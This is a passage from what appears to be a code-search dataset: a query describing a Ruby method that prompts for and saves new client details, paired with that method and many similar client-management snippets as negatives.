query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
add_new_client(client_hash) prompts for new client information, adds to client_hash, then returns the updated hash. Also updates the clients.json file
def add_new_client(client_hash) prompt = TTY::Prompt.new(symbols: {marker: ">"}) totalclients = client_hash[:clients].length system('clear') Debug.show("Debug ON") puts "Create new client: \n\n\n" name = prompt.ask("Name:") do |q| q.validate(/^[\w ]+$/) q.messages[:valid?] = "Invalid Name, must be alphanumeric" end phone = prompt.ask("Phone number:") do |q| q.validate(/^\d+$/) q.messages[:valid?] = "Invalid Phone number, must be numeric" end email = prompt.ask("Email address:") do |q| q.validate(/^[\w\-\.]+@([\w\-]+\.)+[\w\-]{2,4}$/) q.messages[:valid?] = "Invalid Email address format (must be something@domain.tld)" end client = Client.new(totalclients+1,name,phone,email) return client.save() end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_client(new_client)\n output_strings = []\n if @clients[new_client.name.to_sym].nil?\n @clients[new_client.name.to_sym] = new_client\n output_strings << \"New client #{new_client.name} added.\"\n else\n output_strings << \"That client already exists. Not adding again.\"\n end\n end", "def add_new_client\n client = create_client\n $shelter[:clients] << client\n puts client.detail_info?\n puts \"Successfully added\"\n gets\nend", "def add_client(client) # add client object\n @clients[client.name] = client\n end", "def add_client\n name = get_answer_to(\"What is the client\\'s name?\")\n age = get_answer_to(\"What is the client\\'s age?\")\n new_client = Clients.new(name, age)\n @clients << new_client\n end", "def add(client); end", "def add_client(client)\n clients.push(client)\n end", "def add_client(client)\n @clients.push(client)\n end", "def add_client(name)\n\tage = prompt_input(\"How old are you, #{name}?\").to_i\n\tnumber_of_pets = prompt_input('How many pets do you have now?').to_i\n\tputs \"Thanks, #{name}! We're glad to have you with us.\"\n\n\t$shelter.clients[name] = Person.new(name, age, number_of_pets)\n\tend", "def add_client(shelter, client)\n puts \"*** Client registration form ***\"\n client.id = prompt {\"ID number:\"}\n client.name = prompt {\"Name:\"}\n client.age = prompt {\"Age:\"}\n client.gender = validate_simple_input(%w(m f)) {prompt {\"Gender (m , f):\"}}\n #Break if user wants to quit\n if client.gender != 'q'\n client.kids = prompt {\"Number of kids:\"}\n client.pets = prompt {\"Other pets:\"}\n if client.pets != 'n'\n client.pets = client.pets.split(',')\n end\n\n shelter.clients[client.id] = client\n else\n puts \"Registration aborted.\"\n end\nend", "def add_client(client, clients)\n\tclients << client\nend", "def new_client\n print \"Name: \"\n name= gets.chomp\n print \"How much money will you deposit in cash account?\"\n cash= gets.chomp\n\n $broker.clients[name] = Client.new(name, cash)\n\n #puts $broker.clients[name].name\n $broker.clients[name].portfolios['General'] = Portfolio.new('General')\n\n puts \"press return to continue\"\n gets\nend", "def add_client\n\n\t\t@clients = Client.new(client_params)\n\t\tif @clients.save\n\t\t\tredirect_to '/details'\n\t\telse\n\t\t\trender 'index'\n\t\tend\n\tend", "def create_client(name, facebook_id, twitter_handle)\n puts name, facebook_id, twitter_handle\n # Point the HTTP POST method at the clients endpoint of Klipfolio's API.\n response = self.class.post(\"https://app.klipfolio.com/api/1.0/clients\", basic_auth: @auth, headers: { \"Content-Type\" => \"application/json\" },\n body: {\n \"name\": name,\n \"description\": \"\",\n \"seats\": 5,\n \"status\": \"active\"\n }.to_json)\n puts response.body\n puts \"Client was successfully created.\" if response.success?\n\n # Extract the new client's ID from the HTTP response so that it can be passed to the update_features & update_resources methods.\n client_id = response[\"meta\"][\"location\"]\n client_id.slice!(\"/clients/\")\n p client_id\n\n update_resources(client_id)\n update_features(client_id)\n update_company_properties(client_id, facebook_id, twitter_handle)\n create_group(client_id)\n share_dashboard(client_id)\n end", "def create\n name = shift_argument\n url = shift_argument\n\n unless name && url\n raise(Heroku::Command::CommandFailed, \"Usage: clients:register [NAME] [CALLBACK_URL]\")\n end\n\n validate!(url)\n client = request do\n api.request(\n :body => encode_json(\n { :name => name, :redirect_uri => url }),\n :expects => 201,\n :headers => headers,\n :method => :post,\n :path => \"/oauth/clients\"\n ).body\n end\n\n if options[:shell]\n puts \"HEROKU_OAUTH_ID=#{client[\"id\"]}\"\n puts \"HEROKU_OAUTH_SECRET=#{client[\"secret\"]}\"\n else\n styled_header(%{Registered client \"#{name}\".})\n styled_hash(client)\n end\n end", "def create_client\n puts \"CREATE NEW CLIENT ACCOUNT\"\n print \"Name of client: \"\n client_name = gets.chomp.split.map(&:capitalize).join(\" \") # capitalize first letter of every word\n print \"Starting balance: $\"\n balance = gets.chomp.to_f\n @brokerage.add_client(client_name, balance)\nend", "def add_client(person)\n @clients << person\n end", "def add_client(person)\n @clients << person\n end", "def create\n @client_sync = ClientSync.new(client_sync_params)\n\n respond_to do |format|\n if @client_sync.save\n client_sync_hash()\n format.html { redirect_to @client_sync, notice: $gcMsgAppendRecord }\n format.json { render :json => @client_sync_hash }\n format.xml { render :xml => @client_sync_hash }\n else\n lcHashError = { return_status: false, errors: @client_sync.errors }\n format.html { render :new }\n format.json { render :json => lcHashError }\n format.xml { render :xml => lcHashError }\n end\n end\n end", "def user_adding\n puts 'User ID :'\n userid = gets.chomp.to_s\n\n puts 'User Name :'\n username = gets.chomp.to_s\n\n puts 'Password :'\n password = gets.chomp.to_s\n\n puts 'Level :'\n level = gets.chomp.to_s\n\n new_user = User.new(userid, username, password, level)\n\n $user_array.push(new_user.to_hash)\n\n File.open(\"Users.json\", \"w+\") do |f|\n f.puts($user_array.to_json)\n end\n puts \"Them moi nguoi dung thanh cong. Bam ENTER de tiep tuc\"\n gets.chomp\nend", "def update\n # NOTE: API V1 dropped support for updating client keys via update (aka PUT),\n # but this code never supported key updating in the first place. Since\n # it was never implemented, we will simply ignore that functionality\n # as it is being deprecated.\n # Delete this comment after V0 support is dropped.\n payload = { name: name }\n payload[:validator] = validator unless validator.nil?\n\n # DEPRECATION\n # This field is ignored in API V1, but left for backwards-compat,\n # can remove after API V0 is no longer supported.\n payload[:admin] = admin unless admin.nil?\n\n begin\n new_client = chef_rest_v1.put(\"clients/#{name}\", payload)\n rescue Net::HTTPClientException => e\n # rescue API V0 if 406 and the server supports V0\n supported_versions = server_client_api_version_intersection(e, SUPPORTED_API_VERSIONS)\n raise e unless supported_versions && supported_versions.include?(0)\n\n new_client = chef_rest_v0.put(\"clients/#{name}\", payload)\n end\n\n Chef::ApiClientV1.from_hash(new_client)\n end", "def create_client\n if current_admin.present?\n @client = Client.new(params[:client])\n respond_to do |format|\n if @client.save\n flash[:notice] = \"Client has been successfully added!\"\n format.html { redirect_to root_url }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to new_admin_session_path and return\n end \n end", "def add_client\n check = true\n new_client = Client.new\n temp_check = @clients_list.select {|x| x.name == new_client.name}\n # if temp_check.length > 1 #Trying to figure out a way to do multiple\n # temp_check.each {|x|\n if temp_check.first != nil && temp_check.first.age == new_client.age\n puts \"We already have another client with the same name and age, #{new_client.name} have you been here before? (Y/N)\"\n answer = gets.chomp\n if answer == \"Y\"\n puts \"Would you like to update your details? (Y/N)\"\n answer = gets.chomp\n check = false\n if answer == \"Y\"\n @clients_list.delete(temp_check.first)\n @clients_list << new_client\n check = false\n end\n else\n new_client.name = new_client.name + \" #{temp_check.length+1}\"\n end\n end\n if check == true\n @clients_list << new_client\n end\n end", "def add client_id, socket\n @clients[client_id] = socket\n end", "def update\n id = shift_argument || raise(Heroku::Command::CommandFailed, \"Usage: clients:update [ID] [options]\")\n\n if options.empty?\n raise(Heroku::Command::CommandFailed, \"Missing options\")\n end\n\n validate!(options[:url]) if options[:url]\n shell = options.delete(:shell)\n options[:redirect_uri] = options.delete(:url)\n\n client = request do\n api.request(\n :body => encode_json(options),\n :expects => 200,\n :headers => headers,\n :method => :patch,\n :path => \"/oauth/clients/#{CGI.escape(id)}\"\n ).body\n end\n\n if shell\n puts \"HEROKU_OAUTH_ID=#{client[\"id\"]}\"\n puts \"HEROKU_OAUTH_SECRET=#{client[\"secret\"]}\"\n else\n styled_header(%{Updated client \"#{client[\"name\"]}\".})\n styled_hash(client)\n end\n end", "def registerClient(client, svcname)\n match = @svcList.select{|s| s.name == svcname}\n if match == nil || match[0] == nil\n $Logger.error \"Unable to find service #{svcname}\"\n return\n end\n svc = match[0]\n\n # Only add it if its not the same oneenvd re-registerign\n match = svc.clientList.select{|c| c.name == client.name && c.zone == client.zone && c.port == client.port && c.host == client.host}\n if match == nil || match[0] == nil\n svc.clientList.push(client)\n end\n end", "def import_clients\n Client.unrestrict_primary_key\n iterate_lines(@directory + 'clients.json') do |idx, line|\n print \"\\rImporting Clients #{idx}...\"\n Client.create(JSON.parse(line))\n end\n print \"Done\\n\"\n Client.restrict_primary_key\n end", "def insert_key_data_for_client(d)\n ui.msg \"Updating key data for client[#{d['name']}]\"\n\n org_id = @org_id_cache.fetch(d['org_name'])\n if org_id.nil?\n ui.warn \"Could not find organization for client[#{d['name']}], skipping.\"\n ui.warn \"Organizations much be restored before key data can be imported.\"\n return\n end\n\n existing_client = db[:clients].where(:org_id => org_id, :name => d['name']).first\n if existing_client.nil?\n ui.warn \"Did not find existing client record for #{d['name']}, skipping.\"\n ui.warn \"Client records must be restored before key data can be imported.\"\n return\n end\n\n new_id = existing_client[:id]\n Chef::Log.debug(\"Found client id for #{d['name']}: #{new_id}\")\n upsert_key_record(key_record_for_db(d, new_id))\n end", "def create\n @client = Client.new(client_params)\n \n if @client.valid?\n code = Random.new\n @client.code = code.rand(1000)\n old_password = @client.password\n @client.password = SecureRandom.hex(6)\n status = ApiClient.save(@client)\n\n if status\n @user = User.create(\n name: @client.name,\n email: @client.email,\n password: old_password,\n password_salt: @client.password,\n client_id: @client.code\n )\n end\n end\n\n respond_to do |format|\n if status\n format.html { redirect_to client_path(@client.code), notice: 'Client was successfully created.' }\n format.json { render action: 'show', status: :created, location: @client }\n else\n format.html { render action: 'new', notice: 'Could not create a client.' }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_portfolio\n puts \"CREATE NEW PORTFOLIO\"\n print \"Name of client (existing): \"\n client_name = gets.chomp.split.map(&:capitalize).join(\" \")\n puts @brokerage.client(client_name) # test\n print \"Name of portfolio to add: \"\n portfolio_name = gets.chomp.split.map(&:capitalize).join(\" \")\n @brokerage.clients[client_name].portfolios = portfolio_name\n puts @brokerage.clients[client_name].portfolios # test\nend", "def enter_detail\n temp_hash = Hash.new\n repeat = \"y\"\n # loop until user said won't add another customer\n while repeat == \"y\"\n # Ask for client id\n p \" Please enter client ID\"\n temp_hash [:id] = gets.chomp.to_i\n # Ask for client name\n p \" Please enter client name\"\n temp_hash [:name] = gets.chomp\n # Ask for client age\n p \" Please enter age\"\n temp_hash [:age] = gets.chomp.to_i\n # Ask for client number of children\n p \" Please let us know how many kids you have\"\n temp_hash [:kids] = gets.chomp.to_i\n # Ask for client's decor theme\n p \" Please let us know you decor theme you have in mind\"\n temp_hash [:decor_theme] = gets.chomp.to_i\n # Ask for client do they have pets\n p \" Please let us know if you have any pets\"\n temp_hash [:pets] = gets.chomp\n # Ask for client do they like outdoor activity\n p \" Please let us know if you love to have space for outdoor party (y/n)\"\n temp_hash [:outdoor] = gets.chomp.downcase\n # Ask for client do they like indoor activity\n p \" Please let us know if you love to have indoor partying (y/n)\"\n temp_hash [:indoor] = gets.chomp.downcase\n\n p temp_hash\n p \"please confirm the data entered to save (y/n)\"\n temp_confirm = gets.chomp.downcase\n #save only if\n if temp_confirm == \"n\"\n temp_hash.clear\n end\n\n p \"would you like to add more client data? (y/n)\"\n repeat = gets.chomp.downcase\n\n end\n\n\n return temp_hash\nend", "def associate_client_with_token(data_hash)\n\n response = rest_post_call($INTRODUCTIONS_DOMAIN + '/confirm', data_hash.to_json)\n\n if (response.code != '200') then\n raise \"Failed to associate client with token: \" + response.body\n end\n\n return response.body\n\nend", "def run\n assert_destination_writable!\n retries = Config[:client_registration_retries] || 5\n client = nil\n begin\n client = api_client(create_or_update)\n rescue Net::HTTPFatalError => e\n # HTTPFatalError implies 5xx.\n raise if retries <= 0\n\n retries -= 1\n Chef::Log.warn(\"Failed to register new client, #{retries} tries remaining\")\n Chef::Log.warn(\"Response: HTTP #{e.response.code} - #{e}\")\n retry\n end\n write_key\n client\n end", "def client_id= new_client_id\n @client_id = new_client_id\n end", "def create\r\n params[:client][:version] = ENV[\"VERSION\"]\r\n params[:client][:domain] = current_user.domain\r\n params[:client][:username] = current_user.username\r\n @client = Client.new(client_params)\r\n\r\n respond_to do |format|\r\n if @client.save\r\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\r\n format.json { render json: @client, status: :created, location: @client }\r\n format.js {}\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @client.errors, status: :unprocessable_entity }\r\n format.js {}\r\n end\r\n end\r\n end", "def create_client(client)\n resp = post CLIENT_API_PATH, params: client.as_json\n process_response(resp)\n client.id = extract_id_from_location_path(resp.headers['Location'])\n true\n rescue Errors::UnprocessableEntity\n false\n end", "def register(client); end", "def create_client\n\nend", "def client_form\n\tclient_pref = {\n\t\tname: \"\",\n\t\tage: '',\n\t\tchildren: '',\n\t\tdecor: \"\",\n\t}\n\tputs \"Hello, welcome to Interior Solutions. Please help us help you by answering the following questions.\"\n\tclient_pref[:name] = name\n\tclient_pref[:age] = age\n\tclient_pref[:children] = children\n\tclient_pref[:decor] = decor\n\tclient_pref[:color] = color\n\t# Run \"update\" method to determine if any changes need to be made to program\n\tclient_pref = update(client_pref)\n\t# Print the latest version of the hash, and exit the program.\n\tputs \"Here is a summary of your client's information: #{client_pref}.\"\nend", "def design_client\n client = {}\n puts \"What is the client name?\"\n client[:name] = gets.chomp\n puts \"What is the client's age?\"\n client[:age] = gets.chomp_to_i\n puts \"How many children do you have?\"\n client[:children] = gets.chomp_to_i\n puts \"What is the decor theme?\"\n client[:theme] = gets.chomp\n puts \"Do you smoke?\"\n smoke = gets.chomp\n if smoke == \"yes\" || smoke == \"true\"\n client[:smoke] = true\n else\n client[:smoke] = false\n end\n puts \"Do you party or play loud music?\"\n loud = gets.chomp\n if loud == \"yes\" || loud == \"true\"\n client[:loud] = true\n else\n client[:loud] = false\n end\n puts client\n puts \"[What] Would you like to make a change [to]?\"\n change = gets.chomp\n if change != \"none\"\n if change == \"age\" || change == \"children\"\n puts \"Enter the new value\"\n new_val = gets.chomp\n client[change.intern] = new_val.to_i\n elsif change == \"smoke\" || change == \"loud\"\n puts \"Enter the new value\"\n new_val = gets.chomp\n if new_val == \"yes\" || new_val == \"true\"\n client[change.intern] = true\n else\n client[change.intern] = false\n end\n else\n puts \"Enter the new value\"\n new_val = gets.chomp\n client[change.intern] = new_val\n end\n else\n puts client\n end\nend", "def add\n if ! @collection.write?(@user, @client)\n render_json :status => :forbidden, :messages => \"This collection belongs to another client.\" and return\n end\n render_json :status => :bad_request and return unless @collection.create_item(params[:item], @user, @client)\n @item = @collection.items[-1]\n entry = ( @item.class == Collection ? @item.to_hash(@user, @client) : @item )\n render_json :status => :created, :entry => entry and return\n end", "def add(channel, client)\n @lock.synchronize do\n _remove(client) if @clients.include? client and @clients[client] != channel\n debug { \"Adding #{client} to #{channel}.\" }\n @clients[client] = channel\n @channels[channel] = @channels[channel] ? @channels[channel] + 1 : 1\n end\n end", "def client_program\n client_info={\n name: \"\",\n age: \"\",\n number_of_children: \"\",\n child_proofing: \"\",\n decor_theme: \"\",\n special_instructions: \"\",\n }\nprint \"What is your name:\"\nname=gets.chomp.capitalize!\nclient_info[:name]=name\nprint \"How old are you:\"\nage=gets.to_i\nclient_info[:age]=age\nprint \"How many children do you have:\"\nnumber_of_children=gets.to_i\nclient_info[:number_of_children]=number_of_children\nprint \"would you like to child-proof your home:(y/n)\"\nchild_proofing=gets.chomp\n if child_proofing==\"y\"\n child_proofing=true\n else\n child_proofing=false\n end\nclient_info[:child_proofing]=child_proofing\nprint \"What decor theme do you prefer:\"\ndecor_theme=gets.chomp\nclient_info[:decor_theme]=decor_theme\nprint \"Any special instructions:\"\nspecial_instructions=gets.chomp\nclient_info[:special_instructions]=special_instructions\nprint client_info\n\nprint \"\\n\\ntype in category that needs to be changed, if everything is accurate type 'none'.\\n\\n\"\nanswer=gets.chomp\n if answer==\"none\"\n print \"Thank you for the information!\"\n else\n answer=answer.tr(\" \",\"_\") #number_of_children\n answer=answer.to_sym\n puts \"What is the new value:\"\n answer_value=gets.chomp\n if (true if Integer(answer_value) rescue false)\n answer_value=answer_value.to_i\n client_info.store(answer,answer_value)\n else\n client_info.store(answer,answer_value)\n end\n\n puts \"Thank you, your changes have been saved.\\n\\n\"\n end\n\n\nprint client_info\n\n\nend", "def create(client)\n @client = Locomotive::Client.new(client)\n\n if @client.save\n redirect resource(@client), :message => {:notice => \"Client was successfully created\"}\n else\n render :new\n end\n end", "def client_create(global_options, options)\n result = Excon.post(\n \"#{global_options[:fenton_server_url]}/clients.json\",\n body: client_json(options),\n headers: { 'Content-Type' => 'application/json' }\n )\n\n [result.status, JSON.parse(result.body)]\n end", "def client_program\n puts \"Hello and welcome to my store. What is your name?\"\n $user_information[:client_name] = gets.chomp\n # p $user_information\n\n puts \"Nice to meet you, #{$user_information[:client_name]}\"\n\n puts \"And how old are you?\"\n $user_information[:age] = gets.to_i\n # p $user_information\n\n puts \"How many children do you have?\"\n $user_information[:num_children] = gets.to_i\n # p $user_information\n\n puts \"What kind of theme do you like for decor?\"\n $user_information[:decor_theme] = gets.chomp\n # p $user_information\n\n puts \"Thank you for answering these questions, below you can find a list of the information you provided us. If you would like to change any of this, enter which you would like to change. If not, type none!\"\n p $user_information\n update = gets.chomp\n\n if update.include?(\"client_name\") == true\n puts \"Re-enter your name.\"\n $user_information[:client_name] = gets.chomp\n p $user_information\n\n elsif update.include?(\"decor_theme\") == true\n puts \"Re-enter your theme.\"\n $user_information[:decor_theme] = gets.chomp\n p $user_information\n\n elsif update.include?(\"age\") == true\n puts \"Re-enter your age.\"\n $user_information[:age] = gets.chomp \n p $user_information \n\n elsif update.include?(\"num_children\") == true\n puts \"Re-enter your theme.\"\n $user_information[:num_children] = gets.chomp\n p $user_information\n\n else \n puts \"Thank you for using this program.\"\n p $user_information\n \n end\n\nend", "def create\n @client = Client.new(params[:client])\n\n if @client.password == nil then @client.password = temp_password && @client.password_confirmation = temp_password end\n password = @client.password\n\n respond_to do |format|\n if @client.save\n ClientMailer.new_client(@client, password).deliver\n format.html { redirect_to project_url(:id => @client.project_id, :page => 'options'), notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def new_client_id\n if clients.keys.length > 0\n new_id = clients.keys.max + 1\n else\n new_id = 1\n end\n\n return new_id\n end", "def adding_blank_clients(clients, cli_to_rep)\n clients.each do |client|\n if cli_to_rep.has_key?(client) == false\n cli_to_rep[\"#{client}\"] = []\n end\n end\n cli_to_rep\nend", "def create\n @client = current_user.clients.build(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit_user(shelter)\n\n #Show the user the list of all animals\n list_all_clients(shelter)\n \n #Ask user for the name of the animal and validate that animal exists\n value = validate_input(shelter.clients) {prompt {\"Enter the ID of the client you want to edit: \"}}\n puts\n\n #Unless user wants to exit\n if value != 'q'\n\n #Store animal to a new variable\n client = shelter.clients[value]\n\n #Ask user for the value they want to edit\n puts \"Name: #{client.name}, ID: #{client.id}, Gender: #{client.gender}, Age: #{client.age}, Pets: #{client.pets.join(', ')}, Kids: #{client.kids}\"\n puts\n puts \"What to you want to edit?\"\n\n #Get user input and validate\n choice = validate_simple_input(%w(n i g a p k)) {prompt {\"(n)ame, (i)d, (g)ender, (a)ge, (p)ets, (k)ids: \"}}\n if choice != 'q'\n case choice\n\n #Edit name\n when 'n'\n shelter.clients[value].name = prompt {\"Enter new name: \"}\n \n when 'i'\n #Get user input and assign changed value to hash\n res = prompt {\"Enter new id: \"} #Get new name\n client.id = res #Store the name into new animal variable\n shelter.clients.store(res, client) #Insert new animal into animals hash\n shelter.clients.delete(value) #Remove animal with old name\n client = shelter.clients[res] #Assign the animal variable for all animal properties\n when 'g'\n #Get user input, validate, and assign changed value to hash\n res = validate_simple_input(%w(m f)) {prompt {\"Enter new gender (m , f): \"}}\n if res != 'q'\n shelter.clients[value].gender = res\n end\n when 'a'\n #Get user input and assign changed value to hash\n shelter.clients[value].age = prompt {\"Enter new age: \"}\n when 'p'\n #Get user input and assign changed value to hash\n shelter.clients[value].pets << prompt {\"Enter new pet: \"}\n when 'k'\n #Get user input, validate, and assign changed value to hash\n shelter.clients[value].kids = prompt {\"Enter new num of kids: \"}\n end\n end\n puts \"Edit completed\"\n # Output new animal\n puts \"Name: #{client.name}, Breed: #{client.id}, Gender: #{client.gender}, Age: #{client.age}, Pets: #{client.pets.join(', ')}, Kids: #{client.kids}\"\n else\n puts \"Aborted\"\n end\n\nend", "def add_client_command(command_class)\n ensure_proper_command_class(command_class)\n check_for_duplicates(client_commands, command_class)\n\n client_commands << command_class\n end", "def on_connect(client_id, ip_address)\n @client_manager.add(client_id, ip_address)\n end", "def create\n @client = current_user.clients.build(client_params)\n \n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n password = params[:password] || random_password\n @client.user.update(password: password)\n\n ClientMailer.after_sign_up(@client, password).deliver_now\n format.html { redirect_to clients_path, notice: \"Client: #{@client.email} was sucessfully created.\" }\n # format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n # format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_client(name, deposit)\n @clients[name] = Client.new(name, deposit) if @clients[name].nil?\n end", "def create\n #newParams = client_params.as_json\n flash[:notice] = \"Cliente creado\"\n @client = current_freelance.clients.create(client_params)\n\n #@client = current_freelance.clients\n #@client.name = params[:name]\n #@client.surname = params[:surname]\n #@client.username = params[:username]\n #@client.password = params[:password]\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to clients_path, notice: 'Client was successfully created.' }\n #format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def ensure_chef_client\n step(\" ensuring chef client exists\")\n return @chef_client if chef_client\n step( \" creating chef client\", :green)\n @chef_client = Chef::ApiClient.new\n @chef_client.name(fullname)\n @chef_client.admin(false)\n #\n # ApiClient#create sends extra params that fail -- we'll do it ourselves\n # purposefully *not* catching the 'but it already exists' error: if it\n # didn't show up in the discovery process, we're in an inconsistent state\n response = chef_api_server_as_admin.post_rest(\"clients\", { 'name' => fullname, 'admin' => false, 'private_key' => true })\n client_key.body = response['private_key']\n client_key.save\n @chef_client\n end", "def create_client\n puts \"Client Creation: \"\n print \"Enter client name: \"\n name = gets.chomp\n\n print \"Enter client age: \"\n age = gets.to_i\n\n print \"Enter client gender: \"\n gender = gets.chomp\n\n print \"How many kids: \"\n kids = gets.chomp\n\n Client.new name, age, gender, kids\n\nend", "def add(hash); end", "def create\n @id = client_params[:id].to_i\n @message = ''\n\n if @id.nil? || @id == 0\n @client = Client.new(client_params)\n else\n @client = Client.find_by_id(@id)\n end\n\n if @client.valid?\n if @client.id == 0 || @client.id.nil? \n @client.save()\n else\n @client.update(client_params)\n end\n else\n @message = @client.errors.messages\n end\n\n render json:{client: @client, message: @message}\n end", "def new\n build_client\n end", "def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_client!\n Chef::ApiClient::Registration.new(node_name, client_path, http_api: rest).run\n end", "def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to clients_path, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_client\n client = Client.find_or_initialize_by(uid: @client_uid)\n client.name = uf2_client.name.to_s\n client.vertical = uf2_client.g5_vertical.to_s\n client.domain = uf2_client.g5_domain.to_s\n client.type = uf2_client.g5_domain_type.to_s\n client.organization = uf2_client.g5_organization.to_s\n client.secure_domain = uf2_client.g5_secure_domain.to_s\n client.go_squared_client_id = uf2_client.try(:go_squared_client_id).to_s\n client.go_squared_tag = uf2_client.try(:go_squared_tag).to_s\n client.cls_url = uf2_client.try(:g5_cls_url).to_s\n client.cxm_url = uf2_client.try(:g5_cxm_url).to_s\n client.dsh_url = uf2_client.try(:g5_dsh_url).to_s\n client.cpas_url = uf2_client.try(:g5_cpas_url).to_s\n client.cpns_url = uf2_client.try(:g5_cpns_url).to_s\n client.nae_url = uf2_client.try(:g5_nae_url).to_s\n client.vls_url = uf2_client.try(:g5_vls_url).to_s\n client.save\n\n find_or_create_client_website(client) if client.type == \"SingleDomainClient\"\n end", "def add(path)\n cleanup(path)\n new_client.add(path)\n rescue\n false\n else\n true\n end", "def create\n @client = Client.new(client_params)\n @client.user_id = current_user.id\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client record was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @client = Client.new(client_params)\n authorize! :create, @client\n\n respond_to do |format|\n if not @client.caseworker.can_add_clients?\n @client.errors[:base] << \"You are past your limit. Please come back later.\"\n format.html { render :action => \"new\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n elsif @client.save\n format.html { redirect_to @client, :notice => 'Client was successfully created.' }\n format.json { render :json => @client, :status => :created, :location => @client }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_client_data(input_hash)\r\n puts \"Type what item you want to change, otherwise type 'none'\"\r\n response = gets.chomp.downcase\r\n if response != \"none\"\r\n update_key = response.chomp.to_sym\r\n puts \"What is the new value?\"\r\n input_hash[update_key] = gets.chomp\r\n end\r\n puts \"\"\r\n return input_hash\r\nend", "def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to clients_path, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @client = Client.new(client_params)\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def createClient(subdomain, username, password, identifier, header)\n\tpayload = {client: {\n name: 'Ruby HTTP Request',\n identifier: identifier\n }\n }\n\turi = URI.parse(\"https://\"+subdomain+\".zendesk.com/api/v2/oauth/clients.json\")\n\thttp = Net::HTTP.new(uri.host, uri.port)\n\thttp.use_ssl = true\n\trequest = Net::HTTP::Post.new(uri.request_uri, header)\n\trequest.basic_auth(username, password)\n\trequest.body = payload.to_json\n\tresponse = http.request(request)\n\tdata = JSON.parse(response.body)\n\tputs \"Creating OAuth Client \" + identifier\n\tputs data\n\treturn data[\"client\"][\"id\"]\nend", "def client\n @client.push()\n end", "def create\n\n @client = Client.new(client_params)\n @client.business_owner_id = helpers.current_business_owner.id\n\n if @client.save\n flash[:notice] = \"#{@client.name} was added as a new client.\"\n redirect_to clients_path\n else\n render :new\n end\n end", "def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: \"Client was successfully created.\" }\n format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def book_adding\n puts 'Ma so :'\n isbn = gets.chomp.to_s\n\n puts 'Ten sach :'\n title = gets.chomp.to_s\n\n puts 'Chu de :'\n subject = gets.chomp.to_s\n\n puts 'Tac gia :'\n author = gets.chomp.to_s\n\n puts 'Nha xuat ban :'\n publisher = gets.chomp.to_s\n\n puts 'Ngay xuat ban :'\n date = gets.chomp.to_s\n\n puts 'So trang :'\n pages = gets.chomp.to_s\n\n puts 'So ban copy :'\n copies = gets.chomp.to_s\n\n new_book = Book.new(isbn, title, subject, 